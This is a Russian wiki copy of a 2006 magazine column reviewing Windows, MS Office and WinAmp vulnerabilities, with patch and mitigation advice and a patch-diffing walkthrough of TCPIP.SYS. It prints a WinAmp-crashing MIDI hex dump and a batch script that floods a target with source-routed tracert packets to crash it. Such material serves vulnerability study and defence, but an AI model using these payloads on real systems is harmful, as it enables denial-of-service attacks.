Различия

Здесь показаны различия между двумя версиями данной страницы.

Ссылка на это сравнение

articles:exploits-review-0x002 [2017/09/05 02:55] (текущий)
Строка 1: Строка 1:
 +====== exploits-review-0x002 ======
 +<​sub>​{{exploits-review-0x002.odt|Original file}}</​sub>​
 +
 +====== exploits review II ======
 +
 +крискасперскиакамыщъх,​ no-email
 +
 +===== NT: удаленная дыра в DCHP-сервисе =====
 +
 +**brief**:​11 июля 2006 **Mariano****Nu****ñ****ez****Di****Croce**,​ сотрудник копании **CYBSEC S. A.** (__cybsec.com__),​ опубликовал сообщение о переполнении буфера в MicrosoftWindowsDCHP-клиенте (технически реализованном как //​сервис//​),​ приводящем к возможности удаленного выполнения кода с привилегиями SYSTEM (что повыше администратора будет!),​ при условии,​ что атакующий и жертва находятся в одной подсети:​ __cybsec.com/​vuln/​CYBSEC-Security_Pre-Advisory_Microsoft_Window____s_________DHCP_________Client_________Service_________Remote_________Buffer_________Overflow____.____pdf__;​ сообщение тут же подхватила Microsoft, выпустив оперативную заплатку вместе с описанием проблемы на **TechNet**:​__microsoft____.____com____/​____technet____/​____security____/​____Bulletin____/​____MS____06-036.____mspx__,​ где уязвимости был присвоен //​критический//​ уровень опасности. Аналогичную оценку выставила и французская компания **FrSIRT**:​__frsirt____.____com____/​____english____/​____advisories____/​2006/​2754__;​
 +
 +**targets**:​уязвимостиподверженыследующиесистемы:​ **Windows 2000** Professional/​Standard Server/​Datacenter Server/​Advanced Server; **XP **Tablet PC/Media Center/​Home/​Professional/​Professional x64/​Datacenter Server/​Advanced Server; **Server 2003 **Standard/​Standard x64/​Web/​Enterprise/​Enterprise x64/​Datacenter/​Datacenter x64 со _всеми_ установленными Service Pack'​ми. На NT и 9x эта угроза не распространяется;​
 +
 +**exploits**:​компания **Cybsec****S****.**** A****.** будет удерживать все технические детали атаки (и сам exploit) в течении 30 дней, после чего выложит их в публичный доступ (как раз к выходу журнала из печати);​
 +
 +solution:​а) **установить заплатку****от****Microsoft**,​ которую можно скачать с __update____.____microsoft____.____com__,​ b) отключить DHCP-клиента через Панель Управления  Администрирование  Службы DHCP-клиент  Свойства  Тип запуска  Вручную;​ Свойства  Стоп; или из командной строки "​sc stop DHCP &​ sc config DHCP start=disabled",​ при этом перезагружаться совершенно необязательно. После останова DHCP-сервиса все IP-адреса локальной сети придется присваивать вручную (что легко осуществить дома, но намного сложнее в корпоративной сети). На выделение динамических IP-адресов по Dial‑Up'​у остановка DCHP-сервиса _никак_ не скажется (подробнее о DCHP можно прочитать в IETFRFC 2131 – __rfc____.____net____/​____rfc____2131.____html__);​
 +
 +{{exploits-review-0x002_Image_0.png?​502}}
 +
 +Рисунок 1 отключение DHCP-клиента для предотвращения атаки через системную консоль
 +
 +===== MS Office: множественные переполнения буфера =====
 +
 +**brief**:​в июне-июле 2006 года сразу несколько независимых исследователей обнаружили множество ошибок переполнения в Microsoft Word/​Excel и других приложениях,​ обрабатывающих документы MS Office, самая коварная из которых была замечена 10 июля 2006 года хакером по прозвищу **naveed** (naveedafzal@gmail.com) и относится к функции LsCreateLine,​ экспортируемой библиотекой mso.dll (или, в более старых версиях офиса — mso9.dll). Специальным образом созданный doc-файл вызывает обрушение Word'​а с ошибкой доступа,​ но так же может перезаписывать произвольное двойное слово в памяти,​ позволяя осуществлять передачу управления на shell-код:​ __securityfocus.com/​archive/​1/​439649__. Сообщение быстро расползлось по Сети: __security____.____nnov____.____ru____/​____Gnews____345.____html__;​ __securityfocus____.____com____/​____bid____/​18905__,​ но Microsoft оказалась с ним категорически не согласна,​ опубликовав на своем SecurityResponseCenterBlog'​е опровержение,​ что, мол, падать-то Word падает (и уже не первый год!), а вот возможность передачи управления на shell-код весьма сомнительна:​ __blogs.technet.com/​msrc/​archive/​2006/​07/​10/​441006.aspx__;​ лично мыщъх после отладки и дизассемблирования придерживается мнения naveed'​а.
 +
 +так же была обнаружена кривизна в реализации указателей на объекты,​ приводящая к возможности выполнения shell-кода (__securityfocus____.____com____/​____bid____/​18037__),​ и уже появилась пара вирусов-червей (!!!),​ распространяющихся через эту дыру **Backdoor****.****Ginwui**(__symantec____.____com____/​____avcenter____/​____venc____/​____data____/​____backdoor____.____ginwui____.____html__) и **Trojan****.****Mdropper****.****H**,​ (__securityresponse____.____symantec____.____com____/​____avcenter____/​____venc____/​____data____/​____trojan____.____mdropper____.____h____.____html__).
 +
 +имеются ошибки и в обработке графических файлов форматов GIF и PNG, опять-таки приводящие к возможности выполнения shell-кода:​ (__securityfocus____.____com____/​____bid____/​18913__ и __securityfocus____.____com____/​____bid____/​18915__).
 +
 +свойства объектов (property) и разборка (parsing) строк не отстают от своих товарищей и выполняют shell-код не хуже остальных (__securityfocus____.____com____/​____bid____/​18911__ и __securityfocus____.____com____/​____bid____/​18912__)
 +
 +не остается без внимания и Excel — в обработке стилей и выделении записей обнаружены дефекты,​ приводящие к возможности… выполнения shell-кода:​ __securityfocus____.____com____/​____bid____/​18872__,​ __securityfocus____.____com____/​____bid____/​18422__ и __securityfocus____.____com____/​____bid____/​18885__;​
 +
 +плеяду ошибок завершает дыра в библиотеке hlink.dll, отвечающая за обработку стилей разных типов записей и при определенных обстоятельствах допускающая передачу управления на зловредный код: __security.nnov.ru/​Gnews270.html__;​
 +
 +**target**:​вся линейка продуктов MS Office различных версий;​
 +
 +**exploits**:​__securityfocus.com/​data/​vulnerabilities/​exploits/​MSOffice_mosdll_poc.c__;​
 +
 +__downloads.securityfocus.com/​vulnerabilities/​exploits/​excel-rce-nsrocket.txt__;​
 +
 +__securityfocus.com/​data/​vulnerabilities/​exploits/​Nanika.xls__;​
 +
 +__bsdpakistan.org/​downloads/​wordPOC.c__;​
 +
 +solution:​некоторые из вышеперечисленных дыр успешно подтверждены Microsoft и для них выпущены заплатки,​ некоторые все еще остаются не залатанными,​ поэтому не отрывайте документов,​ полученных из ненадежных источников!
 +
 +{{exploits-review-0x002_Image_1.png?​502}}
 +
 +Рисунок 2 исследование упавшего Word'​а под отладчиком OllyDbg
 +
 +===== WinAmp: переполнение буфера в midi =====
 +
 +brief:​19 апреля 2006 года в популярнейшем mp3-проигрывателеле **WinAmp** от Null-soft был обнаружен дефект в библиотеке in_midi.dll,​ отвечающей за проигрывание midi-файлов и некорректно проверяющей правильность заполнения некоторых полей, в результате чего у атакующего появилась возможность "​уронить"​ WinAmp (который при этом настойчиво предлагает перезапустить систему,​ хотя ее можно и не перезапускать) или передать управление на shell-код. Следующий 34-байтовый midi-файл основательно сносит WinAmp'​у крышу:
 +
 +0000000000:​4D 54 68 64 00 00 00 06 │ 00 00 00 01 00 60 4D 54
 +
 +0000000010:​72 6B 00 00 00 FF FF FF │ FF FF FF FF FF FF FF FF
 +
 +0000000020:​FF 00  │
 +
 +Листинг 1 дамп midi-файла,​ вызывающего обрушение WinAmp'​а
 +
 +Поскольку,​ WinAmp может быть настроен так, чтобы проигрывать midi-содержимое web-страничек вместо основного системного проигрывателя (многие пользователи именно так его и настраивают) угроза очередной вирусной эпидемии принимает довольно масштабный характер,​ особенно учитывая тот факт, что WinAmp в отличии от системы практически никто не обновляет. К тому же исходное сообщение о дыре осталось незамеченным даже когда оно было опубликовано вторично:​ 29 мая 2006 года, то есть ровно через месяц спустя:​ (__fortinet.com/​FortiGuardCenter/​advisory/​FG-2006-16.html__). На Security-Focus оно попало с огромным (и нехарактерным для него опознанием) — 19 июня 2006 года: __securityfocus____.____com____/​____bid____/​18507__;​
 +
 +**targets**:​_все_ версии WinAmp'​а вплоть до 5.21 включительно;​
 +
 +**exploit**:​__securityfocus.com/​data/​vulnerabilities/​exploits/​winamp_midi_bof.c__;​
 +
 +solution:​а) обновите свою версию WinAmp'​а до 5.22 (или выше), если, кончено,​ вам нужны все эти навороты,​ несовместимость с ранними plug-in'​ми и тормоза на слабых машинах;​ б) не используйте WinAmp для проигрывания midi-файлов,​ сбросив соответствующую галочку в файловых ассоциациях,​ а для большей надежности еще удалив в файл in_midi.dll из каталога Plugins.
 +
 +{{exploits-review-0x002_Image_2.png?​501}}
 +
 +Рисунок 3 обрушение WinAmp'​а c ZDL-ANALOG-STUDIO-5 скином
 +
 +===== fulldisclose\\ NT: удаленная дыра в TCP/IP драйвере =====
 +
 +**brief****:​**13 июня 2006 на MicrosoftTechNet появилось сообщение о переполнении буфера в TCP/IP драйвере,​ позволяющее "​уронить"​ систему в голубой экран смерти и даже передать управление на shell-код,​ выполняющийся с привилегиями SYSTEM: __microsoft.com/​technet/​security/​Bulletin/​MS06-032.mspx__;​ опасности был присвоен important-статус (значительная) и через несколько часов она перекочевала на __www____.____security____focus.com__ и другие хакерские сайты.
 +
 +**targets**:​уязвимостиподверженыследующиесистемы:​ **NT** Workstation/​Standard Server/ Terminal Server/​Enterprise Server; **W2K **Professional/​Standard Server/​Datacenter Server/​Advanced Server; **XP **Tablet PC/Media Center/​Home/​Professional/​Professional x64/​Datacenter Server/​Advanced Server; **Server 2003 **Standard/​Standard x64/​Web/​Enterprise/​Enterprise x64/​Datacenter/​Datacenter x64 со _всеми_ установленными Service Pack'​ми. другимисловами,​ уязвима _вся_ линейка NT-подобныхсистем. на 9x этаугрозанераспространяется;​
 +
 +**exploits**:​__securityfocus.com/​data/​vulnerabilities/​exploits/​18374-DoS-PoC.c__;​
 +
 +__securityfocus.com/​data/​vulnerabilities/​exploits/​18374-DoS-PoC.txt__;​
 +
 +**solution**а) **установить заплатку****от****Microsoft**,​ которую можно скачать с __update____.____microsoft____.____com__,​ б) **отключить ****IP Source****Routing** (IP маршрутизацию от источника),​ путем создания параметра **DisableIPSourceRouting** типа DWORD со значением 2 в следующем ключе: HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters и перезагрузив компьютер,​ причем //на "​нормальную"​ маршрутизацию пакетов это _никак_ не повиляет//;​ в) **заблокировать на брандмауэре ****IP****-пакеты с опциями 131 (LSRR: ****Loose****Source****-****n****-****Record****Route**** — свободная маршрутизация от источника с записью маршрута) и 137 (SSRR: ****Strict****Source****-****n****-****Record****Route**** — жесткая маршрутизация от источника с записью маршрута)**. не путайте их с _портами_ – это не порты, а именно _опции_ IP‑пакетов,​ но к сожалению,​ далеко не все персональные брандмауэры позволяют осуществлять столь гибкую фильтрацию.
 +
 +**details**:​дыру в TCP/IP обнаружил наш соотечественник — **Андрей Минаев**,​ (angel3000@hotbox.ru),​ обративший внимание на странное поведение системы при обработке IP-пакетов с взведенной опцией свободной/​жесткой маршрутизации и промежуточным адресом равном 0.0.0.0, что трактуется как "​адрес данного узла"​. Если на целевой системе работал NAT-сервер (NetworkAddressTranslation – Сервер Трансляции Сетевых Адресов),​ встроенный,​ в частности,​ в Windows 2000,​ то система выпадала в BSOD с ошибкой в TCPIP.SYS, NTOSKRNL.EXE или начинала вести себя нестабильно,​ что вполне типично для ошибок переполнения с "​ударом по памяти"​.
 +
 +Пара хакеров,​ называющих себя, Jimmy и ByteCoder+ тут же написала exploit, представляющий собой простейший командный файл, запускаемый из под Window 9x или NT-подобных систем и устраивающий уделенному узлу настоящее харакири,​ причем атакующий может находится как в внутри локальной сети, так вне ее:
 +
 +REM задаем IP-адрес (или доменное имя)
 +
 +REM узла-жертвы,​ которую мы будем валить
 +
 +SETtargetip=192.168.0.6
 +
 +:rool
 +
 +REM посылаем IP-пакеты с взведенной опцией
 +
 +REM "Loose Source-n-Record Route" вцикле,​
 +
 +REM указав в списке маршрутов адрес 0.0.0.0
 +
 +REM
 +
 +REM =========== ​ ВНИМАНИЕ!!!! ​ =============
 +
 +REM под LINIX утилита traceroute вызывается
 +
 +REM со следующими ключами командной строки:​
 +
 +REM #​targetip=192.168.0.6
 +
 +REM #traceroute -m 1  -g 0.0.0.0 ${targetip}
 +
 +REM ========================================
 +
 +tracert -h 1 -j 0.0.0.0 %targetip%
 +
 +tracert -h 1 -j 0.0.0.0 %targetip%
 +
 +tracert -h 1 -j 0.0.0.0 %targetip%
 +
 +REM посылаем серверу эхо-пакет,​ чтобы выяснить
 +
 +REM жив ли он еще или уже упал смертью храбрых
 +
 +ping %targetip% -n 1 || goto end
 +
 +REM если мы здесь- переход на end не сработал:​
 +
 +REM сервер шлет нам примет,​ ну а мы продолжаем
 +
 +REM слать ему IP-пакеты,​ надеясь,​ что когда ни
 +
 +REM будь он все-таки упадет
 +
 +gotorool
 +
 +REM сюда мы переходим,​ когда посланный серверу
 +
 +REM эхо-пакет уже не возвращается к нам назад.
 +
 +REM сервер упал?! сервер упал!!! может быть...
 +
 +:end
 +
 +@cls
 +
 +@Echo Server is crash
 +
 +@pause
 +
 +exit
 +
 +Листинг 2 простейший exploit, атакующий сервер путем посылки пакетов со взведенной опцией Loose Source-n-Record Route
 +
 +Для эстетов,​ хакер по кличке **Preddy** из **RootShell****Security****Group**,​ создал Си-версию exploit'​а,​ работающую как под NT/9x, так и под Linux: __securityfocus____.____com____/​____data____/​____vulnerabilities____/​____exploits____/​18374-____DoS____-____PoC____.____c__;​
 +
 +Чтобы понять,​ как работает exploit, необходимо рассмотреть заголовок IP-пакета,​ представленный на рис 4.
 +
 +{{exploits-review-0x002_Image_3.png?​502}}
 +
 +Рисунок 4 формат IP-заголовка
 +
 +Поле **options** служит для задания дополнительных опций, расширяющих возможности протокола IP. В частности,​ интересующая нас опция **131** (LooseSource-n-RecordRoute) и **137** (StrictSource-n-RecordRoute),​ описаны в RFC-791 (__rfc____.____net____/​____rfc____791.____html__),​ а так же во множестве независимых источников,​ например,​ энциклопедии "//​аппаратных средств локальных сетей//"​ Михаила Гука (__shop.piter.com/​chapt.phtml?​id=978580460113__) или в "//​Протоколе ////​IP//":​__ ariu.berdyansk.net/​~andy/​telecom_technology/​1522-4.html#​2.4.4__.
 +
 +{{exploits-review-0x002_Image_4.jpg?​477}}
 +
 +Рисунок 5 формат поля опций IP-пакета при свободной/​жесткой марштузизации от источника
 +
 +Обе опции действуют практически одинаково и позволяют отправителю пакета самостоятельно выбирать маршрут следования. Разница свободной и строгой маршрутизацией заключается лишь в том, что при свободной маршрутизации очередной узел навязанного маршрута может быть достигнуть за любое количество переходов (так же называемых хопами),​ а при жесткой — очередной узел должен быть достигнут за 1 переход,​ а если это невозможно,​ пакет уничтожается с генерацией ICMP-сообщения о невозможности доставки.
 +
 +Список узлов, через которые должен пройти пакет, содержится в поле данных,​ которое вмещает до 9 IP-адресов,​ перечисляемых в порядке следования. Поле ptr указывает на текущий номер обрабатываемого узла и каждый раз увеличивается на 4 (длина IP-адреса в окетах),​ причем номер первого адреса равен 4.
 +
 +Рассмотрим пакет, направляющийся из узла X в узел Y и проходящий через маршрутизаторы M1 и M2. На выходе из узла X в поле "​DestinationAddress"​ (адрес назначения) IP-пакета,​ содержится адрес M1, а в списке "​навязанных"​ адресов (в поле options) – M2 и Y, при этом ptr равен 4, т. е. указывает на M2. По прибытии пакета на M1, из поля "​навязанных"​ адресов извлекается адрес, определяемый указателем ptr (в данном случае это M2) и копируется в поле "​DestinationAddress",​ ptr увеличивается на 4, а поверх адреса M2 записывается адрес того интерфейса маршрутизатора M1, через которой пакет будет направлен на M2 (это и называется "​записью маршрута"​). По прибытии на M2 вся процедура повторяется и пакет передается конечному получателю Y, а в поле опций оказывается записанным маршрут пересылки. Когда узел Y получает пакет, с опцией LooseSource/​StrictSource,​ он должен использовать записанный маршрут для обратной отправки отклика.
 +
 +Опции Loose/​StrictSourceRouting могут быть использованы для несанкционированного проникновения через неправильно настроенный брандмауэр:​ в поле destinationaddress устанавливается разрешенный адрес и пакет благополучно пропускается брандмауэром,​ далее из поля опций извлекается запрещенный адрес (который забывает проверить брандмауэр) и пакет перенаправляется по навязанному маршруту прямиком к атакуемому узлу, но к описываемой дыре в TCP/IP протоколе эта особенность никак не относится.
 +
 +Теперь,​ учитывая все вышесказанное,​ попробуем разобраться с exploit'​ми. Ключ командной строки **-****j**Window-утилиты tracert (соответствующий ключу **-****g**Linux-утилиты traceroute) задает свободный выбор маршрута по списку узлов, среди которых присутствует только один узел — 0.0.0.0. Это специальный IP-адрес,​ буквально обозначающий "​данный узел"​. Ключ -h утилиты tracert (соответствующий ключу -m утилиты traceroute) ограничивает максимальное число переходов при поиске следующего назначенного узла, равное в данном случае 1,​ то есть, мы как бы имитируем "​StrictSourceRouting"​ (на который tracere/​traceroute не способны) на основе опции "Loose Source Routing",​ поддерживаемой утилитами трассировки. Что же получается в итоге?
 +
 +А вот ни хрена не получается! Мыщъх'​у,​ не смотря на все усилия,​ так и не удалось завалить ни одну систему из списка уязвимых,​ ни в локальной сети, ни через Интернет,​ ни из-под Windows, ни из-под Linux. Прежде всего, в Си-версии exploit'​а допущена грубая ошибка,​ ограничивающая предельную длину IP-адреса всего 9 знаками,​ то есть при попытке атаковать,​ например,​ "​192.168.7.2",​ IP-адрес усекается и атакуется несуществующий узел "​192.168.7"​ Замена всех strncat(x,​y,​9) на strncat(x,​y,​15) решает проблему (естественно,​ размеры буферов необходимо увеличить тоже), но атакуемые узлы упорно падать не хотят. Почему?​!
 +
 +{{exploits-review-0x002_Image_5.png?​501}}
 +
 +Рисунок 6 узел 192.168.7.2 (работающий под управлением W2K) благополучно переживает атаку и не падает
 +
 +Запускаем sniffer и смотрим на содержимое отправляемых пакетов (см. рис. 7),​ и видим, что //​адрес 0.0.0.0 вообще не попадает в "​навязанный"​ список узлов //и вместо него там оказывается destination-адрес,​ продублированный в соответствующем поле IP‑заголовка. Не исключено,​ что в какой-то конфигурации,​ которую мыщъх'​у так и не удалось воспроизвести,​ это вызывает помешательство NT и она начинает посылать пакеты сама себе, проваливаясь в бесконечный цикл, завершающийся переполнением стека или поля опций IP-пакета,​ но… как бы там ни было, Microsoft все-таки выпустила patch и представляет большой интерес распотрошить его и посмотреть что же все-таки изменилось?​
 +
 +{{exploits-review-0x002_Image_6.png?​498}}
 +
 +Рисунок 7 исследование IP-пакетов,​ отправляемых exploit'​ом
 +
 +Сейчас мыщъх продемонстрирует интересную технику поиска различий,​ которая неоднократно пригодится нам, хакерам,​ в будущем. Берем в руки файл **Windows2000-KB917953-x86-RUS.EXE** (для XP он будет слегка иным, но общий принцип действий останется неизменным),​ загружаем его в **hiew** и ищем строку "​**MSCF**"​ (MicrosoftCab-File),​ следующую за длинной последовательностью "​**PADDINGXXX**"​. Перемещаем курсор на первый символ "​MSCF"​ и нажимаем <*> (начало выделения блока),​ а затем топчем <​CTRL-END>​ для перемещения в конец файла. Нажимаем <*> еще раз и записываем блок в файл клавишей <F2>. Называем его, ну, скажем,​ TCP.CAB и открываем любым подходящим архиватором,​ например,​ RAR'​ом.
 +
 +{{exploits-review-0x002_Image_7.png?​498}}
 +
 +Рисунок 8 выдирание cab-архива из exe-файла в hiew'​е
 +
 +Там, среди прочего потребительского барахла,​ присутствующего во всех обновлениях,​ мы обнажим **TCPIP****.****SYS** – то, что нужно! Вытаскиваем его из архива и сравниваем с имеющийся у нас версией.
 +
 +{{exploits-review-0x002_Image_8.png?​499}}
 +
 +Рисунок 9 истинное содержимое файла Windows2000-KB917953-x86-RUS.EXE
 +
 +Сразу же бросается в глаза, что длины файлов не совпадают,​ 320.176 байт старой версии против 320.336 байт у новой, поэтому прямое побайтовое сравнение невозможно! Очевидно,​ драйвер был перекомпилирован и необходимо прибегнуть к дизассемблированию,​ сравнивая версии на уровне мнемоник машинных команд (навряд ли _весь_ исходный текст драйвера был изменен). Дизассемблируем оба драйвера с помощью IDA Pro и сохраняем полученные листинги в файлы old.lst и new.lst (от экспорта в аsm-формат лучше воздержаться,​ поскольку у него не в ладах с табуляцией и мы не сможем отрезать операнды машинных инструкций,​ когда нам это будет необходимо). При отсутствии IDA Pro можно воспользоваться утилитой DUMPBIN из комплекта поставки MicrosoftVisualStudio,​ запустив его с ключом /DISASM.
 +
 +{{exploits-review-0x002_Image_9.png?​498}}
 +
 +Рисунок 10 сравнение разных версий файлов GUI-утилитой windiff
 +
 +Полученные листинги можно сравнить либо "​продвинутой"​ графической утилитой **windiff**,​ так же входящий в состав MicrosoftVisualStudio или простой консольной **fc****.****exe** позаимствованной из штатной поставки Windows NT. Тут же обнаружится следующая пренеприятнейшая проблема:​ поскольку после рекомпиляции многие смещения изменились,​ то утилиты сравнения выдают ворох ложных срабатываний,​ в котором очень легко утонить,​ так и не добравшись до истины,​ вот например:​
 +
 +***** new.lst
 +
 +00104B6pushdword ptr [eax]
 +
 +00104B8callsub_2C1EB
 +
 +00104BDmovedi,​ eax
 +
 +***** old.lst
 +
 +00104B6pushdword ptr [eax]
 +
 +00104B8callsub_2C10D
 +
 +00104BDmovedi,​ eax
 +
 +Листинг 3 различные версии файлов имеют разные смещения функций/​глобальных переменных,​ выдавая множество ложных срабатываний
 +
 +Очевидно,​ что здесь вызывается _одна_ и та же процедура (кто не верит, может посмотреть код самой процедуры),​ но… утилитам сравнения этого ведь не объяснишь. А свой собственный скрипт писать лень. К тому же обнаруживается довольно странное поведение компилятора,​ иногда меняющего порядок следования команд в новой версии драйвера:​
 +
 +***** new.lst
 +
 +016C91movedx,​ ecx
 +
 +016C93shreax,​ 10h
 +
 +016C96shledx,​ 10h
 +
 +016C99oreax,​ edx
 +
 +***** old.lst
 +
 +016C91movedx,​ ecx
 +
 +016C93shleax,​ 10h
 +
 +016C96shredx,​ 10h
 +
 +016C99oreax,​ edx
 +
 +Листинг 4 странное изменение порядка следования команд в разных версиях файлов
 +
 +Тоже самое происходит и с регистрами:​
 +
 +***** new.lst
 +
 +01381Bxorecx,​ ecx
 +
 +01381Dmovch,​ al
 +
 +01381Fmovcl,​ ah
 +
 +013821mov[esi+0Eh],​ cx
 +
 +***** old.lst
 +
 +01381Bxorecx,​ ecx
 +
 +01381Dmovcl,​ ah
 +
 +01381Fmovch,​ al
 +
 +013821mov[esi+0Eh],​ cx
 +
 +Листинг 5 странное изменение выбора регистров в разных версиях файлов
 +
 +Сдохнуть можно! А ведь это еще не самое страшное! Поскольку,​ в начале каждой строки стоит ее адрес, то при "​раздвижке"​ одной или нескольких функций,​ оставшаяся часть файла трактуется как "​измененная",​ хотя на самом деле изменились только адреса. Какой же выход? Копируем old.lst в old-1.lst, загружаем его в FAR по <F4> и, удерживая клавишу <ALT> (вместо <​SHIFT>​) вертикальными блоками отрезаем все операнды инструкций и адреса,​ стоящие в начале строки. Аналогичную операцию проделываем и над new.lst. В результате чего получаем два симпатичных файла вида:
 +
 +push
 +
 +mov
 +
 +call
 +
 +Листинг 6 "​обрезанный"​ листинг,​ содержащий только мнемоники команд
 +
 +Пропускаем их через FC с обязательным выводом номеров строк (за это отвечает ключ /N), иначе мы потом не найдем соответствующие им адреса в old.lst/​new.lst файлах и… с замиранием сердца наблюдаем за процессом. Конечно,​ мы получим много ложных срабатываний,​ уже приведенных в листинге 4. Но их очень легко отсеять число визуально — меняется лишь порядок следования команд,​ но сам шаблон остается неизменным. А вот и первое действительное различие:​
 +
 +***** old1.lst
 +
 +024127:mov
 +
 +024128:cmp
 +
 +***** new1.LST
 +
 +024127:mov
 +
 +**0****24128:​call**
 +
 +024129:mov
 +
 +024130:cmp
 +
 +Листинг 7 _реальное_ различие между старой и новой версией драйвера
 +
 +В прежней версии TCPIP.SYS никакого call'​а не было!!! А ну-ка заглянем в дизассемблерный текст, открыв old.lst/​new.lst файлы и перейдя к строке 24127.
 +
 +01DF18mov ​ d,​[esi+20h],​ 1988Bhmov ​ d,​[esi+20h],​ 1988Bh
 +
 +01DF1Fcall PsGetCurrentProcessIdcall PsGetCurrentProcessId
 +
 +01DF24mov ​ [esi+28h], eaxmov ​ [esi+28h], eax
 +
 +**call PsGetCurrentProcessId**
 +
 +**mov  [esi+2Ch], eax**
 +
 +01DF27cmp ​ [ebp+NewIrql],​ 2cmp  [ebp+NewIrql],​ 2
 +
 +01DF2Bmov ​ [edi+8], esimov ​ [edi+8], esi
 +
 +01DF2Ejbe ​ short loc_1DF40jbe ​ short loc_1DF48
 +
 +01DF30push asc_1DE7C; "Lock problems!!\n"​push asc_1DE7C;"​Lock problems!!\n"​
 +
 +01DF35call DbgPrintcall DbgPrint
 +
 +01DF3Apop ​ ecxpop ​ ecx
 +
 +01DF3Bcall DbgBreakPointcall DbgBreakPoint
 +
 +Листинг 8 сравнение дизассемблерных листингов двух версий TCPIP.SYS
 +
 +В старой версии драйвера был только один вызов PsGetCurrentProcessId и переменная [esi+2Ch] оставалась неинициализированной. Теперь это исправлено. Аналогичным путем находятся и другие различия. Признайтесь,​ разве это не интересно — узнать,​ что же _реально_ исправила Microsoft и где находится источник проблемы. Проанализировав ситуацию,​ мы все-таки сможем исправить exploit, заставив его работать! (Копия экрана,​ подтверждающая это, приводится ниже — по понятным соображениям,​ исправленный exploit не распространяется,​ во всяком случае до тех пор, пока большинство пользователей не почешется обновить свою систему).
 +
 +{{exploits-review-0x002_Image_10.png?​501}}
 +
 +Рисунок 11 доработанный мыщъх'​ем exploit валит систему с 2х пакетов
 +
 +Также рекомендуется прочитать руководство "​Howto:​ HardentheTCP/​IPStack":​ __msdn____.____microsoft____.____com____/​____library____/​____default____.____asp____?​____url____=/​____library____/​____en____-____us____/​____dnnetsec____/​____html____/​____HTHardTCP____.____asp____;​__ и ознакомиться с информацией о двух других дырах в TCP/​IP-драйвере,​ допускающих выполнение shell-кода:​ __securityfocus____.____com____/​____bid____/​18325__ и __securityfocus____.____com____/​____bid____/​18374__.
 +
 +